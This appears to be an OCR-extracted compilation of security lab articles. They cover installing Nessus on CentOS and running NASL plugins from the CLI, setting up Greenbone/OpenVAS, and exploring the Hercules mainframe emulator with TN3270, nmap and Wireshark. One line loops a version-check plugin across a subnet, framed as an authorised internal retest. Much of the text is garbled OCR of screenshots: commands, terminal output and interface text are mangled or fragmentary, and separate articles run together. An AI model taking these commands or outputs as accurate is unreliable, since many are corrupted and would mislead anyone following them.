Yes. Today we’ll try to use Nessus to create an automated (or maybe even scheduled)
‘vulnerability scans’ for our LABcompany/network (similar cases are of course described here[1]).

Today we’'ll start from a very simple scenario. It is pretty similar to the one | already described on the
blog few years ago[2]:

& https://code610.blogspot.com/2017/11/surprise-from-kaliorg.html

Strona gtowna Mini arts Found bugs CTFs Contact

PIATEK, 17 LISTOPADA 2017

Friday surprise from Kali.org
Standard friday evening... checking some twitter and news at net... and then | found...

_that my 'small script' (code16) created for OpenVAS was mentioned in tutorial section at official Kali Linux website - www kali.org

[KALI|

If you are already familiar with that post — you can easily skip to the next part where we’ll talk about

preparing an environment. If you don’t know it — feel free to check it. It should be a nice intro to the
rest of the content described below. So...? ;]


https://code610.blogspot.com/p/mini-arts.html
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Environment

After watching one of the interesting videos available at one of the Youtube’s channel [3] | decided
to look around for some ‘fresh & funky’ new RedHat/CentOS[4] VM to try to install latest Nessus on
it. You know, just in case maybe some of you(r companies) are using RedHat/CentOS and would like
to use Nessus as well, for example during some automated/scheduled pentest/redteam
activities[link]. Well — now we have a chance to check out one of the possible scenarios. For our
LAB/testing purposes we’ll use:

- Cent0S 7.9_2009_VMB machine

- Putty ;]

- Firefox Browser (but probably at this stage you can use whatever browser you’d like to)
- Nessus RPM[5] (,,latest” version (for day: 01.12.2020 it was version: 8.13.0).

All of this | started on VirtualBox[6] (ver: 6.1.12) installed on Windows 10:

. Ustawienia urzadzenia
Download Links

To sq maszyny wirtualne zawarte w wraz z sugerowanymi aimportewanych maszyn do
. VirtualBox. Mozesz zmienic wiele przedstawionych wiasciwesd, Kikajac dwukrotnie na elementach, jak rowniez wytaczad
Both VirtualBox and VMw:. inne za pomoca pal wyboru ponizej.

on VMware and vice versa System wirtualny 1 -~
especially in Red Hat Entd C,_'} Nazwa Cent0S_7.9.2009_VBM_LinuxVMImages.COM
‘& Produkt CentQOS 7
CentOS 7.9.2009 % URL-Produktu https://www.linuxvmimages.com/images/centos-7
‘& Dostawca CentOS Community
}é) URL-Dostawcy https://centos.org
B Wersja 7.9.2009
E Typ goszczonego systemu operacyjnego E Red Hat (64-bit) v
Machine Base Folder: | | C:\Users\c\VirtualBox VMs -

MAC Address Policy: | Include only NAT network adapter MAC addresses -
Additional Options: [] Import hard drives as VDI

Urzadzenie nie jest podpisane

Przywréé wartosci domydine | Importuj

sl

VirtualBox Image (Size 0.9GB) VMWare Image (Size 0.9GB)

For now we should be ready to start the VM and register a new account on Tenable’s webpage[5].
For our laboratory/testing purposes we’ll use a trial version[5] but for this one version (as well as for
a proffesionall one) — we'll use a valid licence (that’s why we need to create an account on Tenable’s
webpage ;).

While we'll continue the registering - we should be somewhere here:

& https://www.tenable.com/downloads/nessus?loginAttempted=true e f.\f
@ Nessus-812.1.dmg macO0S (10.9 - 10.15) 42.4 MB Oct 29, 2020
@ Nessus-8.12.1-amzn.x86_64.rpm Amazon Linux 2015.03, 2015.09, 2017.09 / 43,2 MB Oct 29, 2020

Amazon Linux 2

® Nessus-8121-amzn2.aarch64.rpm Amazon Linux 2 (Graviton 2) 40 MB Oct 29, 2020

@ Nessus-8.12.1-debiané_amd64.deb Debian 6, 7,8, 9 / Kali Linux 1, 2017.3, 2018, 42,9 MB Oct 29, 2020
2019, 2020 AMD64
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So far, so good. Account on Tenable (for our ‘testing purposes’) will help us to get the trial license
we’ll use to test the possibilities of Nessus. ;) Let’s do it:

Tenable Community Login

e

() tenable

New Login

Please update any Tenable Community Login
browser bookmark with the new login URL
hittps://community.tenable.com/login

Next — as this is a clean CentOS installation... we don’t have a wget ;>. Let’s fix that:

@ root@centos?:~/nessus

tenable.com/downloads, /v1/public/pa
e_to tenable lice ement=true"

hostfile
. k.net
pl.kielcetect
.hti.pl

_tenabl
le

.1-amzn




Now we should be here (rpm —ivh package.rpk;man rpom):

@ root@centos?.~/nessus
=]# rpm -ivh tenable.rp
Header V4 '

At s e []

Aedd T [

re Components...

u ey ID 1c@ 0
e s [0

g e b s o [ ()

Everything looks good so far. Let’s continue. | changed the settings of network adapter (from Bridge
to NAT). Now | was able to set the port forwarding (to aviod DHCP renew during my tests):

& ce 7.9.2009 L ages.CO e
B ogoine Sieé
B | System Karta 1 Karta 2 Karta 3 Karta 4
- Ekran Whacz karte sieciowg
— Podigczona do: | NAT -
L2/ Pamiec
. Nazwa:
- P
(tf‘ Dzwiek ' Zaawansowane
o sic - - :
- & Reguly przekierowania portow ? X
:} Porty szeregowe
& Protokat IP hosta Port hosta IP goscia Port goscia @
é_> USB &
— {TCP 192.168.1.10 22 100215 22
Udostepniane foldery
TCP 192.168.1.10 8834 10.0.2.15 8834
[—

Checking files location:



Auars splugin_feed_info.inc
Auars /.__db_ok
uvars #plug ins-code .db.16869815191538311286
uvars splug ins-desc.db.16869815191835787885
uvars sglobal.db-wal
uvars #global.db-shm
[rootPcentos? nessusl# setcrsinit.dsne
messusd netconsole network
[rootPcentos? nessusl#t setcrinit.dsnessusd start
Starting nessusd (via systemctl):
[rootPcentos? nessusl# netstat -antp | grep
a

IST
.8: 992sshd
.a: 1348-/master
.8: 1889 messusd
992sshd

HE 1348-master
2] HHE HHE 1889 messusd
[rootBcentos? nessusli _

L
a
27.8.8.1:25 a
a

.8.
8.
.6.8.8:8834 .8.

a
2]
2]
2]

At this stage we can move forward to the browser and continue with the steps provided by Nessus
installer:

© £ hiips//192.168.1.232:88

( Inessus

Welcome to Nessus

want to deploy Nessus. Select a

@ Nessus Professional
@ Nessus Manager

@ Managed Scanner

Continue

Let’s continue to compile all the plugins:

Initializing
Please wait while Nessus prepares the files needed
to scan your assets.

Compiling plugins...

l

Here we go...



Quick example

As far as | know([7, 8] we can start a standard ,skeleton file” (I like to prepare when I’'m learning
something ‘new’ (for me) from ‘someone else’ work;)). But before we’ll do that | decided to start a
(Basic Network) scan for our localhost (CentOS) using Nessus Webapp — just to check if everything
works properly:

« > C @ ‘@ £ https:;//192.168.80.1:8834/#/scans/folders/my-scans |

Welcome to Nessus Essentials

To get started, launch a host discovery scan to identify what hosts on your network
are available to scan. Hosts that are discovered through a discovery scan do not
count towards the 16 host limit on your license.

Enter targets as hostnames, IPv4 addresses, or IPv6 addresses. For IP addresses, you
can use CIDR notation (e.g., 192.168.0.0/24), a range (e.g., 192.168.0.1-192.168.0.255),
or a comma-separated list (e.g., 192.168.0.0, 192.168.0.1).

Targets

Ready to go? So:

My Host Discovery Scan Results
Nessus found the following hosts listed below from your list of targets (127.0.0.1).

To launch your first basic network scan, select the hosts you want to scan. These hosts count towards the 16
host limit on your license.

IP

127.0.0.1

V Discovery Complete! Run Scan
¥

Ok, let’s leave that (webapp/GUI) scan and go back to our console and skeleton files ;)

That’s how we’ll start here[8]:
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a https:;//docs.tenable.com 70% v @

'({:jtenable Cyber Exposure Products Services Company Partners Research [ suy now |

(tenable.io (Onessus (Dtenable.sc

Tenable.io release notes, requirements, user guides, Nessus release notes, requirements, user guides, Tenable.sc (formerly SecurityCenter) release notes,
APIs, and more and more user guides, requirements, APIs, and more

nessus Qgenable‘ Qtenable.ot‘

Agent Powered by Indegy

Nessus Agent release notes, requi user Tenable Core release notes, requirements, user Tenable.ot release notes, requirements, user guides,
guides, and more guides, and more and more

nessus Q LCE (“)tenable

Network Monitor Integrations
Nessus Network Monitor release notes, Log Correlation Engine release notes, requirements, Tenable third-party integration requirements, user
requirements, user guides, and more user guides, and more guides, and more

Let’s try to create our first scenario for Nessus. Our goal is to preare an automated scan using Nessus
CLI. Let’s see how it can be done.



Scenario #01
As a very first case | decided to read some manuals[7, 8] related to NASL[9]. According to
Wikipedia[10]:

© & nhttps;//en.wikipedia.org/wiki/Nessus_Attack_Scripting_Language B oo see % Y In @ ©® O

& Not logged in Talk Contributions Create account Log in

Article  Talk Read | Edit View history | Search Wikipedia Q

Nessus Attack Scripting Language

From Wikipedia, the free encyclopedia

The Nessus Attack Scripting Language, usually referred to as NASL, is a scripting language that is used by vulnerability scanners like Nessus and OpenVAS.
With NASL specific attacks can be automated, based on known vulnerabilities.

Tens of thousands of plugins have been written in NASL for Nessus and OpenVAS.['] Files that are written in this language usually get the file extension .nasl. For
the exploitation of a zero day attack it is possible for an end user of Nessus or OpenVAS fo write custom code in NASL which is executed by these vulnerability
scanners.

We can use NASL to prepare our own automated checks (or attack(s)). | saw a great potential here:
for example we can use targeted scripts[11] rewrited in NASL and added to our internal Nessus Scan
Center — right? ;)

| think so. But to (try to;)) do that we need to get some basics[12] (of how to not ,re-invent the
wheel” ;)). For example, let’s start here:

‘@ root@centos/:/opt/nessus/lib/nessus/plugins

1= 3

k_tcp(i
lue of the

plugins |#
imand

plugins |#

As you can see (via: ./nasl —h) we can use our NASL example script to run it against (-t ) our LAB host,
for example:


https://docs.tenable.com/nessus/commandlinereference/Content/Resources/PDF/CommandLineReference.pdf
https://docs.tenable.com/nessus/8_0/Content/NessusCLI.htm
https://www.tenable.com/blog/using-the-nasl-nessus-command-line-tool
https://en.wikipedia.org/wiki/Nessus_Attack_Scripting_Language
https://code610.blogspot.com/p/found.html
https://www.blackhat.com/presentations/bh-usa-04/bh-us-04-dhanjani.pdf

@ root@centos?:;/opt/nessus/lib/nessus/plugins
opt/nessus/bin/nasl -t 127.8.8.1 testmens

So far, so good. Source for the script from the screen above is presented below — | used Kali to jump
to CentOS machine:

@ root@centos?:~

B e B
LIN OM

B e B e e e St e B e e s

Reading our current (modified as you can see during the creating of this small article ;)) script we
should be somewhere here:

_sock_tep(
("The value of the

Let’s move forward...



Another quick example
In my ‘initial scenario’ | decided that:

- we are in the internal ITSec Team in our company and we were asked to do a retest of some bug
found during another pentest

- we are able to run ,that retest for the found bug” from our (for example — in case that we're
working for the corporate Client;)) CentOS VM machine (located somewhere in the internal network
where (team of) pentester(s) can use it (assuming the host is whitelisted to do the ,automated
retest” part of the (pentest) job ;)).

So. Yes — firewall rules (to run internal scans/retests as well as to keep Nessus Scanner up to date)
are always ,,nice to have” in the scenario prepared for this example case.

Let’s say we already done a portscan with nmap and now we need to check CVE-X because of the
ports/results we found in the nmap’s output/logfile (or simply, because we were asked to do
so/retest by our collegues in the Team). For example:

@ root@centos’:~

fopt = /n s/plu s/oracle_tns on.nasl

script to do STOM command against the

jammed . com>

1853 to a separate plugin.

ice Remote Version Disclos

:"des pt
e Oracle tn
This
ion numb:

- set_attribute(attribute
fic to thi




Looks good enough to see if we can try to ,retest” this bug agains ,our internal host”. Let’s do that
using one liner:

[root@centos7 bin]# foriin ‘seq 1 254" ; do ./nasl -t xx.yy.zz.Si
Jopt/nessus/lib/nessus/plugins/oracle_tnslsnr_version.nasl ; done

Now, why | think it’s possible to use Nessus CLI to retest this-or-that particular case/bug —it’s simple:
because if we will set up the firewall rules correctly for pentester(s team) to access Nessus CLI hosts —
then there is no problem to perform a retest scan/scenario.

,50, what’s next dude?”



More examples

What’s next... what’s next... next step is pretty simple (according: you are hired to protect your own
company of course ;S —if not, please leave. Maybe one of the real pentesters is looking for a job.;)):
we will automate our own internal LAN to help our Monitoring Team to get the (faster) idea what
could go wrong...

As a next step — in my opinion - we should think about the automated (, retests”) scans — or
scheduled one — if you want to call it like that. Having CentOS and Nessus installed (and updated)
internally we can prepare an environment like this.

So, let’s say we’re all (mostly) working remotely. Ok, in case of pentests we should be somewhere
here:

Sy
. &

e 5o e
R
b= Be 5»

g

The user with TheEye is our Pentester who is able to run CLI based Nessus scan against the host
inside our internal LAN. Using our , default configuration” we should be able to access our company
(during Covid;P) via VPN, so updated image is prepared below:



(©]

Yep. In this case our home-based-pentester connected via VPN is now able to access ,,all of the
internal network”. It could be a little bit dangerous so let’s fix that, and prepare a firewalled access
,from pentester’s host to the jump host(s) in the specific company’s part of the network”, like this:

8

Now we are able to prepare an access for (let’s say according to the example presented above) 3
Linux/CentOS hosts here we have a licensed (and updated — so here we’ll need a whitelist rule on the
firewall to Tenables-Update-Pages too ;)) Nessus (CLI). Now our pentester(s connected via VPN) are



able to perform a retest or a full scan using updated and fully working Nessus Scanner. Example of
the ,internal connection” (for the scan purposes) is presented on the screen below:

e B e
e
be Ba Be

&«

I think now it should be easier to schedule an automated (and updated ;)) scan(s) of (our) internal
(company) network.



References
Below is the list of links and resources | found interesting and/or useful when | was preparing this
paper. Enjoy:

1 — few mini arts

2 - surprise from Kali

3 -z3s @youtube

4 - CentOS download

5 - Nessus download

6 - Virtualbox download

7 - Nessus docs for CLI

8 - Nessus docs 2

9 — NASL intro

10 - NASL on Wiki

11 — Few found bugs

12 - BH paper
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https://code610.blogspot.com/p/found.html
https://www.blackhat.com/presentations/bh-usa-04/bh-us-04-dhanjani.pdf

BONES OF THE GREEN DRAGON




Intro

After a while[1] (and a little bit of reading manuals related to automating vulnerability
scanning using Nessus CLI) | decided to take a look again for an OpenVAS — now available on a new
name — Green Bone. Let’s try it because there are already few updates for us. Here we go...

Environment

After | wasn’t able to run GreenBone ISO on VirtualBox or Vmware | decided to use our latest
VM prepared in the previous section — the one related to scans with NASL (ref info: ,,Notes Magazine
2: Red-Hat-Ness-Us” section). So for our (,automated”) testing purposes, below we’ll use:

- VirtualBox
- CentOS (version | used: 7.9.2)
- GreenBone[2] (version | used: 20.08.4)

If we’ll need any other tools/resources —it’ll be mentioned below. For now we should be somewhere
here:

‘@ root@centos?.~/greenpwn

login - nt

Let’s try to follow the installation steps and hints | found here[3] or here[4]. Let’s move forward.


https://code610.blogspot.com/2016/12/automated-scans-with-openvas-and-kali.html
https://www.greenbone.net/en/testnow/
https://howto.lintel.in/installing-openvas-centos-7/
https://linuxincluded.com/installing-openvas-on-centos-7/

Simple Example
If our installation was finished properly we now should be able to use GreenBone to prepare our
,first automated scan”. Unfortunately after a while | saw this interesting message:

9461.el17.art_noarch instead

ch

File Edit View Search Terminal Help
python2.7-doc binfmt-support ruby-
tcl-tclreadline debhelper perl-tk texlive-fonts-r
. tcxhve latex-base- python- pygmcntﬁ icc-profiles libfile-which-
late xtra-doc
trxllvc latex-recommended-doc texlive-pstricks dot2tex prerex ruby
= | 1ibtcltk-ruby texlive-pictures-doc vprerex
The following NEW packages will be installed:
onts-lato fonts-lmodern fonts-texgyre gnutls-bin
curity-assistant greenbone-security-assistant-common
% s0.13 libjemal
>
H

3 - .6 1ib{
libtexluajit2 1ibtks.6 libunbound2 libuuid-perl libyaml-tiny-perl
1libzzip-©-13 lmodern nmap openvas openvas-cli openvas-manager
openvas-manager-common openvas-scanner preview-latex-style python
python-minimal python2.7 python2.7-minimal rake redis-server redis
ruby ruby-did-you-mean ruby-minitest ruby-net-telnet ruby-p
ruby test-unit ruby2.5 rubygems-integration sqlite3 tcl tcls

s texlive-fonts-recommended
-base texlive-latex-extra texlive-latex-recommended
texlive-plain-generic tipa tk tk8.6 xsltproc

The following packages will be upgraded:
libgnutls3e libkpathseaé libpython2.7 libpythen2.7-minimal
libpython2.7-stdlib libsqlite3-0

6 upgraded, 70 newly installed, ©@ to remove and 671 not upgraded.

Need to get 137 MB/142 MB of archives.

After this operation, 455 MB of additional disk space will be used.

Do you want to continue? [Y/n]

Looks like a nice update! ;) We'll wait a bit and see if that helps...

TOUCTUg LI ap - VA tog opeivash cat opoivassu. eSS ages
root@jirap:/var/log/openvas# cat gsad.log
main:MESSAGE:2020-12-20 14h14.84 utc:7438: Starting GSAD version 7.0.2
main:WARNING:2020-12-20 14h14.84 utc:7438: main: Locale defined by environ
variables is not an "en_..." one.
xsLt:WARNING:2020-12-20 14h14.04 utc:7438: init_language_lists: Failed to
": No such file or director

locale directory "/usr/share/openvas/gsa/locale

main:CRITICAL:2020-12-20 14h14.04 utc:7438: main: Could not load private S
SL key from fvar/lib/openvas/private/CA/serverkey.pem: Fallcd to ope ile “/va
r/1ib/openvas/private/CA/serverkey.pem No such file or
root@jirap:/var/log/openvas# I




No — what will help is reading the manual! ;D What a surprise:

root@jirap:/var/log/openvas# openvas-setup
: Directory for keys (/var/libfopenvas/private/CA) not found!
: Directory for certificates (/var/lib/openvas/CA) not found!
: CA key not found in /var/lib/openvas/private/CA/cakey.pem
: CA certificate not found in /var/lib/openvas/CA/cacert.pem
CA certificate failed verification, see /tmp/tmp.UVurNscdmD/openvas-mana
ge-certs.log for details. Aborting.

ERROR: Your OpenVAS certificate infrastructure did NOT pass validation.
See messages above for details.
Generated private key in /tmp/tmp.eNcQldaTXS/cakey.pem.

Installed private key to /var/lib/openvas/private/CA/cakey.penm.

Installed certificate to fvar/lib/openvas/CA/fcacert.pem.

Generated private key in /tmp/tmp.eNcQldaTXS/serverkey.pem.

Generated certificate request in /tmp/tmp.eNcQldaTXS/serverrequest.pem.

Signed certificate request in /tmp/tmp.eNcQldaTXS/serverrequest.pem with CA cer
tificate in fvar/lib/openvas/CA/cacert.pem to generate certificate in /tmp/tmp.
eNcQldaTXS/servercert.penm

Installed private key to fvar/lib/openvas/private/CA/serverkey.pem.

Installed certificate to fvar/lib/openvas/CA/servercert.pem.

Generated private key in /tmp/tmp.eNcQldaTXS/clientkey.pem.

Generated self signed certificate in /tmp/tmp.eNcQldaTXS/cacert.pem.

Now it looks like we have our pem-files. Next | was here:

-scanner.
current

penvas9-manager_7.0.
penvas-manage-certs’, which is also in packa

killed by signal (Broken pipe)

Still there was something missing (and — spoiler alert ;) — it was still my ‘manuals | never read’ ;)). So
after a while — | was here, checking openvassd:

During the installation | realized one (imho ‘important’) thing: we can not download the feeds’... So |
started googling and that’s how | found:



© & https;//community.greenbone.net/t/greenbone-feed-not-getting-updated-to-current-status/

#) Greenbone feed not getting updated to current status
Z

Feed Services (GCF & GSF)

14 1.7k 9 3 b . (3]
Sep 22 30d Q“? e

_OR
Hey Gangambika,

this happened 22 days ago:

5::, Community Feed URL Consolidation m Feed Services (GCF & GSF)

We are seeing no further transitions from old server feed.openvas.org to new server
feed.community.greenbone.net. Since the server will simply not be available beyond September
30th, we decided the following steps to make all users of the deprecated server aware of the
situation: On September 1st 2020 we stop updating the Greenbone Community Feed as served via
feed.openvas.org. On the same day we add a VT that alerts for any scanned host a highest
severity and it will inform about the opti...

Ok, good to know. So | decided to start it all over again and that how | landed on the (RTF)manual
pages[5]. ;] We should be here:

© & https//community.greenbone.net/t/setting-up-th

ecurity-manager-trial-gsm-trial-virtual-machin

B - 9%

A) Setting Up the Greenbone Security Manager TRIAL (GSM TRIAL) Virtual M... A
< a

H Greenbone Professional Edition

Ut =Te G ST VTSR R TR (o oRs el TS QU aleT gL [T WL 1 s Dxce - 1oading Boot0001 “UEFT UBOX CD-ROM UB2-01700376 “ from PciRoot (0x0) /Pci (0x1,0x1)
BdsDxe: starting Boot0001 "UEFI UBOK CD-ROM UB2-01700376 " from PciRoot (0x0) /Pci (0x1,0x1)]

- GSM TRIAL - Settings

= General System

Mothorsoard [ zrocsvsor | Accesavon

E‘ pisplay Base Memory: e

EI Storage amB i 16384
Qn audio oot order; | Ll F1OPPY

71 (@) optical

&P Network 7 (2) Hard pisk

£ serial ports = Network
£ use Chipset: | PIX3
[2] shared Folders Pointing Device: | PS/2 Mouse -

. Extended Features: (v] Enable O APIC
[E5] user interface
V| Enable EFI (special OSes only) o
4] Horduere Clock in UTC Tine VirtualBox

&

13. Activate the checkbox “Enable EFI (special OSes only)”.
Otherwise the image will not boot.

1A_Salact “Quctam s Drascacenr’ and sat tha numbar of nracaces:

Let’s move forward.


https://community.greenbone.net/t/setting-up-the-greenbone-security-manager-trial-gsm-trial-virtual-machine/6939

Current Example
After we'll install it there should be a similar screen to the one presented below:

(ttyLl

ahle at:

Resilience

Overview [T

Manage Web Users
Manage the web users of your GSM.

Any users created via the menus helow will be considered
global users and should be used for administrative purposes.
You can create additional users wia the web interface of

your GEM.

List Users Show a 1ist of all users

Admin User Create a global 'Admin' account

Guest User [disabled]

Super Admin Create a global 'Super Admin' account
Delete ACcount Delete a user account

Change Pazzword  Change the password of an account

Password Polic Change the Password Folic
istributed Data e the perm i

# of created CVEs

< Back >

So far, so good. Looks like we have a new VM to check ;]

After a while | created another installation — this time | used Ubuntu 20 I1SO:

@ root@ubuntu20: /home/c




Looks good. As you can see now we should be ready to use both tools: Nessus CLI (mentioned in one

of the previous sections as ,,Red-Had-Ness-Us”) as well as OpenVAS CLI (or Greenbone Security

Manager — you name it):

:~5 openvas-nasl

Error. Mo input file(s) specified !

:~5 openvas-nasl -h
Usage:

openvas-nasl [OPTION?] NASL_FILE...

Help Options:
-h, --help

Application Options:
-V, --version
-d, --debug
-D, --description
-B, --both
-p, --parse
-L, --lint
-t, --target=<target>
-T, --trace=<file>
-c, --config-file=<filename>
-e, --source-iface=<iface_name=
-5, --safe
ed
-X, --disable-signing
-i, --include-dir==di
- -debug-tls=<level>
-k, --kb=<key=value=

This is what | was looking for. ;} Now it should be easier to check both NASL-based plugins or simply

- standalone NASL interpreter for OpenVAS

Show help options

Display version information

Output debug information to stderr.

Only run the 'description' part of the script

Run in description mode before running the script.
Only parse the script, don't execute it

'"lint"' the script (extended checks)

Execute the scripts against <target>

Log actions to <file> (or '-' for stderr)
Configuration file

Source network interface for established connections.

Specifies that the script should be run with 'safe checks' enabl

Run the script with disabled signature verification
Search for includes in =dir=

Enable TLS debugging at <lewvels

Set KB key to value. Can be used multiple times

compare the results from both plugins arsenals.

Maybe you’ll find it useful. Cheers ;)



References
Links/resources | found interesting while | was creating this article:

1- Automated Scans with Kali using OpenVAS

2 —Test GreenBone now

3 — Install for CentOS (1)

4 — Install for CentOS (2)

5 — Setup Trial GSM (GreenBone Security Manager)



https://code610.blogspot.com/2016/12/automated-scans-with-openvas-and-kali.html
https://www.greenbone.net/en/testnow/
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https://linuxincluded.com/installing-openvas-on-centos-7/
https://community.greenbone.net/t/setting-up-the-greenbone-security-manager-trial-gsm-trial-virtual-machine/6939
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Initial step

Last time | found few interesting articles online about mainframe’s. | decided it will be a good idea to
learn a little bit more about it. That’s how | found a very interesting emulator called Hercules[1].
Below you'll find few notes about my initial adventures with that software. Here we go...

To proceed, this time[2] | created a small lab based on Windows 10. Software | used to prepare my
LAB will be described below. | used:

e * 1921681172 * ¢ * tests * hercules *

' Mazwa - Data modyfikacji
LJ MNote-Important.bct 06.12.2020 19:56
LJ ADDRSPC+Parameter.tut 06.12.2020 19:56
LJ hercules.txt 06.12.2020 19:56
T,*'E—l hercules-3.07-w32.msi 06.12.2020 20:31
¢ hercules-3.07-w32.zip 06.12.2020 20:31

When you’ll install all of it — | recommend a restart, you know, ,,it's Windows” ;) so — we should be
somewhere here:

) Hercules 3.07 (32 Bit)

Welcome to the Hercules 3.07 (32 Bit) Setup
Wizard

The inztaller will guide pou through the steps required to install Hercules 3.07 (32 Bit]) on pour
computer.

WARMING: This computer program is protected by copyright law and intemational treaties.
Unauthorized duplication or distribution of this program, or any portion of it, may resulk in severe civil
or criminal penalties, and will be prosecuted to the maximum extent possible under the law

Click Next:


http://www.hercules-390.org/
https://code610.blogspot.com/p/mini-arts.html

5! Hercules 3.07 (32 Bit) - *

Installing Hercules 3.07 (32 Bit)

Hercules 3.07 [32 Bit] iz being installed.

Fleaze wait...

And after a while we should of course allow the access on the firewall:

Application Tools
Home Share View Manage

<€ Hare s Hereulze as | Py Search Hear:

Windows Firewall has blocked some features of The Hercules System/370, ESA/390, and
z/Architecture Emulator on all public and private networks.

i_i Name: ercules System/370, ESA[330, and z/Architecture Emulator|
Publisher: by Roger Bowler, Jan Jaeger, and others

Path: C:\program filestherculesihercules 3.07 (32
bit)thercules, exe

Allow The Hercules System/370, ESA/320, and z/Architecture Emulator to communicate
[[]Private networks, such as my home or work netwark

Public netwarks, such as those in airports and cafés {not recommended
because these networks often have little or no security)

What are the risks of allowing an app through 3 firewall?

GAIIOW aCCess Cancel

Command
CPUBBBSE P

For now we should be somewhere here:



ory

ht B

H Select C:\Windows\sy
BE Select C\Wind

As we can see Hercules opened additional port on our Windows VM. We'll get back to that later. For
now we should be here, checking ? command:

all comma
ias for help

mment
mment

runnin

emul;
qui

Command
CPUBBBE PSW=0000000080006000 24M

So far, so good. Let’s continue below...



Interesting possibilities
According to the purpose of the mainframe (from ,,my”[2] perspective ;>) it's extremely interesting
what can be done here or for what it can be used.

Let’s take a look here[3]:

computer B e w N O @® O

© & hitpsy//en wikipedia.org/wiki/
Mainframe computer

From Wikipedia, the free encyclopedia

"Mainframe" redirects here. For other uses, see Mainframe (disambiguation).

A mainframe computer, informally called a mainframe or big iron,["! is a computer
used primarily by large organizations for critical applications, bulk data processing
(such as the census and industry and consumer statistics, enterprise resource
planning, and large-scale transaction processing). A mainframe computer is larger and
has more processing power than some other classes of computers, such as
minicomputers, servers, workstations, and personal computers. Most large-scale

computer-system architectures were established in the 1960s, but they continue to

evolve. Mainframe computers are often used as servers. A pair of IBM mainframes. On the ~ &°
left is the IBM z Systems z13. On the

i i i i [citation needed]
The term mainframe derived from the large cabinet, called a main frame, rightis the IBM LinuxONE Rockhopper

that houses the central processing unit and main memory of early computers.
[2][rull citation needed](3] |_ater, the term mainframe was used to distinguish high-end

commercial computers from less powerful machines.4] EEr T

So having all of this in back of the mind, | decided to continue learning with my new installed
emulator. (Few interesting resources you’ll find in the Reference section on the end of this article.)
We should start here:

5 2
help hst

Command =
CPUBBBE PSW=06600000006008608 24M



https://code610.blogspot.com/p/mini-arts.html
https://en.wikipedia.org/wiki/Mainframe_computer

| decided to run Kali on my VM(Ware) and scan the Windows host with Hercules (started and)
installed:

max /me
# nmap

NSE: ¢
Initiat

d (1 total port

can at

At the current settings (read as: default installation) we should see the results similar to the one
presented one the screen below:

1/icmp)

-111.2

.1.10

Indeed — verismart. ;] Let’s see what we can do about it:



<« C @ © & https://mochasoft.dk/tn3270.htm

Mocha TN3270 for Windows 7/8/10

Now we should be able to use the terminal (similar to the putty), let’s see:

c Q © & https://mochasoft.dk/tn3270.htm

TN3270

= Low cost : Single User license 29.85 USD or 299 USD for a Company License.

Otwieranie tn3270.msi X

Rozpoczeto pobieranie pliku:

72 tn3270.msi
User Guide| Typ pliku: Windows Installer Package (1,1 MB)
Adres: https://mochasoft.dk

Czy zapisac ten plik?

Try it free for see the download page.

Continuing with the wizard:



@ Mocha TN3270 for Windows 7/8/10 Setup X

Welcome to the Mocha
TN3270 for Windows 7/8/10
Setup Wizard

The Setup Wizard will install Mocha TN3270 for Windows
7/8/10 on your computer. Click "Next" to continue or "Cancel"
to exit the Setup Wizard.

After a while we should be here:

-

™ Edit/New Session ? X
File Edit View Tools
] & =3 ) Name: checkmf v

Mainframe |P Address:  |192.168.1.58

Port number 3270 | [JSSUTLS [ TN3270E
Verify Server certificate
LU name:
Terminal size: O 24x80 (® 32¢80
QO4x:xs0 O 27x122
Auto Login (optional)
User
Password :

[[] Enable Auto Login

[[] Exit on session termination

[[] Confirm Exit

[[] Send keep alive

Connect to this IBM Mainframe on program start Help

Cancel Delete Apply

We can see on the screen (from our Windows 10 VM) that our terminal application is now connected
to Hercules (btw: without the authorization ;)):



Hercules CPUe8@8: A/39 Peripherals

06000000 ©OGEEOER

B800B00E PBGOOGEE BOOBOLBE BOLBOLBE
) 1 2 E

60000000 06000000 0OEEOERO 6OLEEEED
4 6 7

26000000 ©BG0000R ©BGGEOE6Y
1

20000000 BBOOOGED DBBDEBBY
12 iY  File Edit View Tools Help

& =) |® Clear Erase PA1 PA2 PA3 EraseF (

e6e0e000

u
@ STOPPED

Great! Now we can continue our mainframe learning process. ;)

Here we go...



Main Frames
Well. While we already installed Mocha TN3270 for Windows[4] | decided to upload Wireshark[6] to
our Windows 10 VM. We shoule be here:

Beoooaee 2AM. L . 1
30 | A + | He 3.07 (32 Bit) | application Tools
LalatslalsTs ) F| | ¥ Application Tools
1 o )
20000000 A @“ Home Share View Manage e
5 A Lewcal Dicl P a P—— a
@oeoee0e 2N M Wireshark 3.4.0 32-bit Setup -
BEEBRABe =1t Installing
' ' Please wait while Wireshark 3.4.0 32-bit is being installed. A
CR §
aeeae0ee A H Extract: voredist_x86.exe
Extract: services -
L Extract: pdml2html. xsl
Extract: ws.css
[. Extract: wireshark. html
Extract: wireshark-filter.html
[ Extract: dumpcap.exe
Extract: dumpcap.html
Extract: extcap.html
Extract: ipmap.html
Extract: veredist_x86.exe w

Ready? Let’s do it:

ercules 4 Peripherals

booeeooe Be0000Ee
3]

L RE A& Capturing from Ethernet

File

Edit Statistics

R EZET LT =EaaqH

View Go Capture Analyze

Telephony  Wireless Tools  Help

e 1
oeeoee00 ol

oeeeeeee

Source

Destination Protocol  Length Info

B89 28.629205 95.100.111.11 192.168.1.59 TCP 6@ 443 > 49660 [ACK] Seq=582

7@ 28.638533 95.100.111.11 192.168.1.59 TLSv1.2 1474 Application Data

71 28.681215 192.168.1.59 95.1808.111.11 TCP 54 49668 + 443 [ACK] Seq=518

72 28.861685 192.168.1.59 192.168.1.18 TCP 55 [TCP Keep-Alive] 3278 » 5

73 28.861972 192.168.1.18 192.168.1.59 TCP 66 [TCP Keep-Alive ACK] 5868
77777777777 74 29.431826 ARRISGro_@a:df:dc IntelCor_31:c1:94 ARP 68 192.168.1.1 is at 44:aa:T v

>

Frame 28: 55 bytes on wire (448 bits), 55 bytes captured (448 bits) on interface \Device\NPF_{2FEBS381-E
Ethernet II, Src: PcsCompu_e7:36:cf (88:80:27:e7:36:cf), Dst: IntelCor_31:c1:94 (e4:78:b8:31:c1:94)
Internet Protocol Version 4, Src: 192.168.1.59, Dst: 192.168.1.10

Transmission Control Protocol, Src Port: 3278, Dst Port: 58682, Seq: 1822, Ack: 34, Len: 1

Data (1 byte)

< File Edit View Tools Help

ed 78 b8 31
ea 29 87 f9
@628 @1 @a @c ch
@1 8@ 83 bl

o |8 Clear Erase PA 2 3 EraseF ()
= Cl E PA1 PA2 PA3 EraseF

Spgsn |l

DESKTOP-HEDFS3TO
ws_NT-6

